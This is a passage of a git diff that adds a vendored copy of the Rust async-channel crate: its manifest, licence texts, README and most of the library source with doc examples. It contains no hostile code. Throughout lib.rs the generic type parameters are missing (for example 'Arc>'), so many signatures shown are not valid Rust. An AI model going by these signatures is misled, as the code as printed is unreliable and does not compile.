["Stjepan Glavina "] +edition = "2021" +rust-version = "1.60" +description = "Async multi-producer multi-consumer channel" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-channel" +keywords = ["mpmc", "mpsc", "spmc", "chan", "futures"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[dependencies] +concurrent-queue = { version = "2.5", default-features = false } +event-listener-strategy = { version = "0.5.4", default-features = false } +futures-core = { version = "0.3.5", default-features = false } +pin-project-lite = "0.2.11" + +portable-atomic = { version = "1", default-features = false, features = ["require-cas"], optional = true } +portable-atomic-util = { version = "0.2", default-features = false, features = ["alloc"], optional = true } + +[dev-dependencies] +easy-parallel = "3" +futures-lite = "2" + +[target.'cfg(target_family = "wasm")'.dev-dependencies] +wasm-bindgen-test = "0.3.37" + +[features] +default = ["std"] +std = ["concurrent-queue/std", "event-listener-strategy/std"] +portable-atomic = ["concurrent-queue/portable-atomic", "event-listener-strategy/portable-atomic", "dep:portable-atomic-util", "dep:portable-atomic"] diff --git a/lib/malio/async-channel/LICENSE-APACHE b/lib/malio/async-channel/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-channel/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-channel/LICENSE-MIT b/lib/malio/async-channel/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-channel/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-channel/README.md b/lib/malio/async-channel/README.md new file mode 100644 index 0000000..8809b27 --- /dev/null +++ b/lib/malio/async-channel/README.md @@ -0,0 +1,51 @@ +# async-channel + +[![Build](https://github.com/smol-rs/async-channel/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-channel/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-channel) +[![Cargo](https://img.shields.io/crates/v/async-channel.svg)]( +https://crates.io/crates/async-channel) +[![Documentation](https://docs.rs/async-channel/badge.svg)]( +https://docs.rs/async-channel) + +An async multi-producer multi-consumer channel, where each message can be received by only +one of all existing consumers. + +There are two kinds of channels: + +1. Bounded channel with limited capacity. +2. Unbounded channel with unlimited capacity. + +A channel has the `Sender` and `Receiver` side. Both sides are cloneable and can be shared +among multiple threads. + +When all `Sender`s or all `Receiver`s are dropped, the channel becomes closed. When a +channel is closed, no more messages can be sent, but remaining messages can still be received. + +The channel can also be closed manually by calling `Sender::close()` or +`Receiver::close()`. + +## Examples + +```rust +let (s, r) = async_channel::unbounded(); + +assert_eq!(s.send("Hello").await, Ok(())); +assert_eq!(r.recv().await, Ok("Hello")); +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-channel/src/lib.rs b/lib/malio/async-channel/src/lib.rs new file mode 100644 index 0000000..61e0b53 --- /dev/null +++ b/lib/malio/async-channel/src/lib.rs @@ -0,0 +1,1388 @@ +//! An async multi-producer multi-consumer channel, where each message can be received by only +//! one of all existing consumers. +//! +//! There are two kinds of channels: +//! +//! 1. [Bounded][`bounded()`] channel with limited capacity. +//! 2. [Unbounded][`unbounded()`] channel with unlimited capacity. +//! +//! A channel has the [`Sender`] and [`Receiver`] side. Both sides are cloneable and can be shared +//! among multiple threads. +//! +//! When all [`Sender`]s or all [`Receiver`]s are dropped, the channel becomes closed. When a +//! channel is closed, no more messages can be sent, but remaining messages can still be received. +//! +//! The channel can also be closed manually by calling [`Sender::close()`] or +//! [`Receiver::close()`]. +//! +//! # Examples +//! +//! ``` +//! # futures_lite::future::block_on(async { +//! let (s, r) = async_channel::unbounded(); +//! +//! assert_eq!(s.send("Hello").await, Ok(())); +//! assert_eq!(r.recv().await, Ok("Hello")); +//! # }); +//! ``` + +#![cfg_attr(not(feature = "std"), no_std)] +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +#[cfg(not(feature = "portable-atomic"))] +extern crate alloc; + +use core::fmt; +use core::future::Future; +use core::marker::PhantomPinned; +use core::pin::Pin; +use core::task::{Context, Poll}; + +#[cfg(not(feature = "portable-atomic"))] +use alloc::sync::Arc; +#[cfg(not(feature = "portable-atomic"))] +use core::sync::atomic::{AtomicUsize, Ordering}; + +#[cfg(feature = "portable-atomic")] +use portable_atomic::{AtomicUsize, Ordering}; +#[cfg(feature = "portable-atomic")] +use portable_atomic_util::Arc; + +use concurrent_queue::{ConcurrentQueue, ForcePushError, PopError, PushError}; +use event_listener_strategy::{ + easy_wrapper, + event_listener::{Event, EventListener}, + EventListenerFuture, Strategy, +}; +use futures_core::ready; +use futures_core::stream::Stream; +use pin_project_lite::pin_project; + +struct Channel { + /// Inner message queue. + queue: ConcurrentQueue, + + /// Send operations waiting while the channel is full. + send_ops: Event, + + /// Receive operations waiting while the channel is empty and not closed. + recv_ops: Event, + + /// Stream operations while the channel is empty and not closed. + stream_ops: Event, + + /// Closed operations while the channel is not closed. + closed_ops: Event, + + /// The number of currently active `Sender`s. + sender_count: AtomicUsize, + + /// The number of currently active `Receivers`s. + receiver_count: AtomicUsize, +} + +impl Channel { + /// Closes the channel and notifies all blocked operations. + /// + /// Returns `true` if this call has closed the channel and it was not closed already. + fn close(&self) -> bool { + if self.queue.close() { + // Notify all send operations. + self.send_ops.notify(usize::MAX); + + // Notify all receive and stream operations. + self.recv_ops.notify(usize::MAX); + self.stream_ops.notify(usize::MAX); + self.closed_ops.notify(usize::MAX); + + true + } else { + false + } + } +} + +/// Creates a bounded channel. +/// +/// The created channel has space to hold at most `cap` messages at a time. +/// +/// # Panics +/// +/// Capacity must be a positive number. If `cap` is zero, this function will panic. +/// +/// # Examples +/// +/// ``` +/// # futures_lite::future::block_on(async { +/// use async_channel::{bounded, TryRecvError, TrySendError}; +/// +/// let (s, r) = bounded(1); +/// +/// assert_eq!(s.send(10).await, Ok(())); +/// assert_eq!(s.try_send(20), Err(TrySendError::Full(20))); +/// +/// assert_eq!(r.recv().await, Ok(10)); +/// assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +/// # }); +/// ``` +pub fn bounded(cap: usize) -> (Sender, Receiver) { + assert!(cap > 0, "capacity cannot be zero"); + + let channel = Arc::new(Channel { + queue: ConcurrentQueue::bounded(cap), + send_ops: Event::new(), + recv_ops: Event::new(), + stream_ops: Event::new(), + closed_ops: Event::new(), + sender_count: AtomicUsize::new(1), + receiver_count: AtomicUsize::new(1), + }); + + let s = Sender { + channel: channel.clone(), + }; + let r = Receiver { + listener: None, + channel, + _pin: PhantomPinned, + }; + (s, r) +} + +/// Creates an unbounded channel. +/// +/// The created channel can hold an unlimited number of messages. +/// +/// # Examples +/// +/// ``` +/// # futures_lite::future::block_on(async { +/// use async_channel::{unbounded, TryRecvError}; +/// +/// let (s, r) = unbounded(); +/// +/// assert_eq!(s.send(10).await, Ok(())); +/// assert_eq!(s.send(20).await, Ok(())); +/// +/// assert_eq!(r.recv().await, Ok(10)); +/// assert_eq!(r.recv().await, Ok(20)); +/// assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +/// # }); +/// ``` +pub fn unbounded() -> (Sender, Receiver) { + let channel = Arc::new(Channel { + queue: ConcurrentQueue::unbounded(), + send_ops: Event::new(), + recv_ops: Event::new(), + stream_ops: Event::new(), + closed_ops: Event::new(), + sender_count: AtomicUsize::new(1), + receiver_count: AtomicUsize::new(1), + }); + + let s = Sender { + channel: channel.clone(), + }; + let r = Receiver { + listener: None, + channel, + _pin: PhantomPinned, + }; + (s, r) +} + +/// The sending side of a channel. +/// +/// Senders can be cloned and shared among threads. When all senders associated with a channel are +/// dropped, the channel becomes closed. +/// +/// The channel can also be closed manually by calling [`Sender::close()`]. +pub struct Sender { + /// Inner channel state. + channel: Arc>, +} + +impl Sender { + /// Attempts to send a message into the channel. + /// + /// If the channel is full or closed, this method returns an error. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{bounded, TrySendError}; + /// + /// let (s, r) = bounded(1); + /// + /// assert_eq!(s.try_send(1), Ok(())); + /// assert_eq!(s.try_send(2), Err(TrySendError::Full(2))); + /// + /// drop(r); + /// assert_eq!(s.try_send(3), Err(TrySendError::Closed(3))); + /// ``` + pub fn try_send(&self, msg: T) -> Result<(), TrySendError> { + match self.channel.queue.push(msg) { + Ok(()) => { + // Notify a blocked receive operation. If the notified operation gets canceled, + // it will notify another blocked receive operation. + self.channel.recv_ops.notify_additional(1); + + // Notify all blocked streams. + self.channel.stream_ops.notify(usize::MAX); + + Ok(()) + } + Err(PushError::Full(msg)) => Err(TrySendError::Full(msg)), + Err(PushError::Closed(msg)) => Err(TrySendError::Closed(msg)), + } + } + + /// Sends a message into the channel. + /// + /// If the channel is full, this method waits until there is space for a message. + /// + /// If the channel is closed, this method returns an error. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, SendError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send(1).await, Ok(())); + /// drop(r); + /// assert_eq!(s.send(2).await, Err(SendError(2))); + /// # }); + /// ``` + pub fn send(&self, msg: T) -> Send<'_, T> { + Send::_new(SendInner { + sender: self, + msg: Some(msg), + listener: None, + _pin: PhantomPinned, + }) + } + + /// Completes when all receivers have dropped. + /// + /// This allows the producers to get notified when interest in the produced values is canceled and immediately stop doing work. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, SendError}; + /// + /// let (s, r) = unbounded::(); + /// drop(r); + /// s.closed().await; + /// # }); + /// ``` + pub fn closed(&self) -> Closed<'_, T> { + Closed::_new(ClosedInner { + sender: self, + listener: None, + _pin: PhantomPinned, + }) + } + + /// Sends a message into this channel using the blocking strategy. + /// + /// If the channel is full, this method will block until there is room. + /// If the channel is closed, this method returns an error. + /// + /// # Blocking + /// + /// Rather than using asynchronous waiting, like the [`send`](Self::send) method, + /// this method will block the current thread until the message is sent. + /// + /// This method should not be used in an asynchronous context. It is intended + /// to be used such that a channel can be used in both asynchronous and synchronous contexts. + /// Calling this method in an asynchronous context may result in deadlocks. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{unbounded, SendError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send_blocking(1), Ok(())); + /// drop(r); + /// assert_eq!(s.send_blocking(2), Err(SendError(2))); + /// ``` + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub fn send_blocking(&self, msg: T) -> Result<(), SendError> { + self.send(msg).wait() + } + + /// Forcefully push a message into this channel. + /// + /// If the channel is full, this method will replace an existing message in the + /// channel and return it as `Ok(Some(value))`. If the channel is closed, this + /// method will return an error. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{bounded, SendError}; + /// + /// let (s, r) = bounded(3); + /// + /// assert_eq!(s.send(1).await, Ok(())); + /// assert_eq!(s.send(2).await, Ok(())); + /// assert_eq!(s.force_send(3), Ok(None)); + /// assert_eq!(s.force_send(4), Ok(Some(1))); + /// + /// assert_eq!(r.recv().await, Ok(2)); + /// assert_eq!(r.recv().await, Ok(3)); + /// assert_eq!(r.recv().await, Ok(4)); + /// # }); + /// ``` + pub fn force_send(&self, msg: T) -> Result, SendError> { + match self.channel.queue.force_push(msg) { + Ok(backlog) => { + // Notify a blocked receive operation. If the notified operation gets canceled, + // it will notify another blocked receive operation. + self.channel.recv_ops.notify_additional(1); + + // Notify all blocked streams. + self.channel.stream_ops.notify(usize::MAX); + + Ok(backlog) + } + + Err(ForcePushError(reject)) => Err(SendError(reject)), + } + } + + /// Closes the channel. + /// + /// Returns `true` if this call has closed the channel and it was not closed already. + /// + /// The remaining messages can still be received. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.send(1).await, Ok(())); + /// assert!(s.close()); + /// + /// assert_eq!(r.recv().await, Ok(1)); + /// assert_eq!(r.recv().await, Err(RecvError)); + /// # }); + /// ``` + pub fn close(&self) -> bool { + self.channel.close() + } + + /// Returns `true` if the channel is closed. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded::<()>(); + /// assert!(!s.is_closed()); + /// + /// drop(r); + /// assert!(s.is_closed()); + /// # }); + /// ``` + pub fn is_closed(&self) -> bool { + self.channel.queue.is_closed() + } + + /// Returns `true` if the channel is empty. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// + /// assert!(s.is_empty()); + /// s.send(1).await; + /// assert!(!s.is_empty()); + /// # }); + /// ``` + pub fn is_empty(&self) -> bool { + self.channel.queue.is_empty() + } + + /// Returns `true` if the channel is full. + /// + /// Unbounded channels are never full. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::bounded; + /// + /// let (s, r) = bounded(1); + /// + /// assert!(!s.is_full()); + /// s.send(1).await; + /// assert!(s.is_full()); + /// # }); + /// ``` + pub fn is_full(&self) -> bool { + self.channel.queue.is_full() + } + + /// Returns the number of messages in the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.len(), 0); + /// + /// s.send(1).await; + /// s.send(2).await; + /// assert_eq!(s.len(), 2); + /// # }); + /// ``` + pub fn len(&self) -> usize { + self.channel.queue.len() + } + + /// Returns the channel capacity if it's bounded. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{bounded, unbounded}; + /// + /// let (s, r) = bounded::(5); + /// assert_eq!(s.capacity(), Some(5)); + /// + /// let (s, r) = unbounded::(); + /// assert_eq!(s.capacity(), None); + /// ``` + pub fn capacity(&self) -> Option { + self.channel.queue.capacity() + } + + /// Returns the number of receivers for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(s.receiver_count(), 1); + /// + /// let r2 = r.clone(); + /// assert_eq!(s.receiver_count(), 2); + /// # }); + /// ``` + pub fn receiver_count(&self) -> usize { + self.channel.receiver_count.load(Ordering::SeqCst) + } + + /// Returns the number of senders for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(s.sender_count(), 1); + /// + /// let s2 = s.clone(); + /// assert_eq!(s.sender_count(), 2); + /// # }); + /// ``` + pub fn sender_count(&self) -> usize { + self.channel.sender_count.load(Ordering::SeqCst) + } + + /// Downgrade the sender to a weak reference. + pub fn downgrade(&self) -> WeakSender { + WeakSender { + channel: self.channel.clone(), + } + } + + /// Returns whether the senders belong to the same channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// let s2 = s.clone(); + /// + /// assert!(s.same_channel(&s2)); + /// # }); + /// ``` + pub fn same_channel(&self, other: &Sender) -> bool { + Arc::ptr_eq(&self.channel, &other.channel) + } +} + +impl Drop for Sender { + fn drop(&mut self) { + // Decrement the sender count and close the channel if it drops down to zero. + if self.channel.sender_count.fetch_sub(1, Ordering::AcqRel) == 1 { + self.channel.close(); + } + } +} + +impl fmt::Debug for Sender { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Sender {{ .. }}") + } +} + +impl Clone for Sender { + fn clone(&self) -> Sender { + let count = self.channel.sender_count.fetch_add(1, Ordering::Relaxed); + + // Make sure the count never overflows, even if lots of sender clones are leaked. + if count > usize::MAX / 2 { + abort(); + } + + Sender { + channel: self.channel.clone(), + } + } +} + +pin_project! { + /// The receiving side of a channel. + /// + /// Receivers can be cloned and shared among threads. When all receivers associated with a channel + /// are dropped, the channel becomes closed. + /// + /// The channel can also be closed manually by calling [`Receiver::close()`]. + /// + /// Receivers implement the [`Stream`] trait. + pub struct Receiver { + // Inner channel state. + channel: Arc>, + + // Listens for a send or close event to unblock this stream. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } + + impl PinnedDrop for Receiver { + fn drop(this: Pin<&mut Self>) { + let this = this.project(); + + // Decrement the receiver count and close the channel if it drops down to zero. + if this.channel.receiver_count.fetch_sub(1, Ordering::AcqRel) == 1 { + this.channel.close(); + } + } + } +} + +impl Receiver { + /// Attempts to receive a message from the channel. + /// + /// If the channel is empty, or empty and closed, this method returns an error. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, TryRecvError}; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.send(1).await, Ok(())); + /// + /// assert_eq!(r.try_recv(), Ok(1)); + /// assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + /// + /// drop(s); + /// assert_eq!(r.try_recv(), Err(TryRecvError::Closed)); + /// # }); + /// ``` + pub fn try_recv(&self) -> Result { + match self.channel.queue.pop() { + Ok(msg) => { + // Notify a blocked send operation. If the notified operation gets canceled, it + // will notify another blocked send operation. + self.channel.send_ops.notify_additional(1); + + Ok(msg) + } + Err(PopError::Empty) => Err(TryRecvError::Empty), + Err(PopError::Closed) => Err(TryRecvError::Closed), + } + } + + /// Receives a message from the channel. + /// + /// If the channel is empty, this method waits until there is a message. + /// + /// If the channel is closed, this method receives a message or returns an error if there are + /// no more messages. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send(1).await, Ok(())); + /// drop(s); + /// + /// assert_eq!(r.recv().await, Ok(1)); + /// assert_eq!(r.recv().await, Err(RecvError)); + /// # }); + /// ``` + pub fn recv(&self) -> Recv<'_, T> { + Recv::_new(RecvInner { + receiver: self, + listener: None, + _pin: PhantomPinned, + }) + } + + /// Receives a message from the channel using the blocking strategy. + /// + /// If the channel is empty, this method waits until there is a message. + /// If the channel is closed, this method receives a message or returns an error if there are + /// no more messages. + /// + /// # Blocking + /// + /// Rather than using asynchronous waiting, like the [`recv`](Self::recv) method, + /// this method will block the current thread until the message is received. + /// + /// This method should not be used in an asynchronous context. It is intended + /// to be used such that a channel can be used in both asynchronous and synchronous contexts. + /// Calling this method in an asynchronous context may result in deadlocks. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send_blocking(1), Ok(())); + /// drop(s); + /// + /// assert_eq!(r.recv_blocking(), Ok(1)); + /// assert_eq!(r.recv_blocking(), Err(RecvError)); + /// ``` + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub fn recv_blocking(&self) -> Result { + self.recv().wait() + } + + /// Closes the channel. + /// + /// Returns `true` if this call has closed the channel and it was not closed already. + /// + /// The remaining messages can still be received. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.send(1).await, Ok(())); + /// + /// assert!(r.close()); + /// assert_eq!(r.recv().await, Ok(1)); + /// assert_eq!(r.recv().await, Err(RecvError)); + /// # }); + /// ``` + pub fn close(&self) -> bool { + self.channel.close() + } + + /// Returns `true` if the channel is closed. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded::<()>(); + /// assert!(!r.is_closed()); + /// + /// drop(s); + /// assert!(r.is_closed()); + /// # }); + /// ``` + pub fn is_closed(&self) -> bool { + self.channel.queue.is_closed() + } + + /// Returns `true` if the channel is empty. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// + /// assert!(s.is_empty()); + /// s.send(1).await; + /// assert!(!s.is_empty()); + /// # }); + /// ``` + pub fn is_empty(&self) -> bool { + self.channel.queue.is_empty() + } + + /// Returns `true` if the channel is full. + /// + /// Unbounded channels are never full. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::bounded; + /// + /// let (s, r) = bounded(1); + /// + /// assert!(!r.is_full()); + /// s.send(1).await; + /// assert!(r.is_full()); + /// # }); + /// ``` + pub fn is_full(&self) -> bool { + self.channel.queue.is_full() + } + + /// Returns the number of messages in the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(r.len(), 0); + /// + /// s.send(1).await; + /// s.send(2).await; + /// assert_eq!(r.len(), 2); + /// # }); + /// ``` + pub fn len(&self) -> usize { + self.channel.queue.len() + } + + /// Returns the channel capacity if it's bounded. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{bounded, unbounded}; + /// + /// let (s, r) = bounded::(5); + /// assert_eq!(r.capacity(), Some(5)); + /// + /// let (s, r) = unbounded::(); + /// assert_eq!(r.capacity(), None); + /// ``` + pub fn capacity(&self) -> Option { + self.channel.queue.capacity() + } + + /// Returns the number of receivers for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use 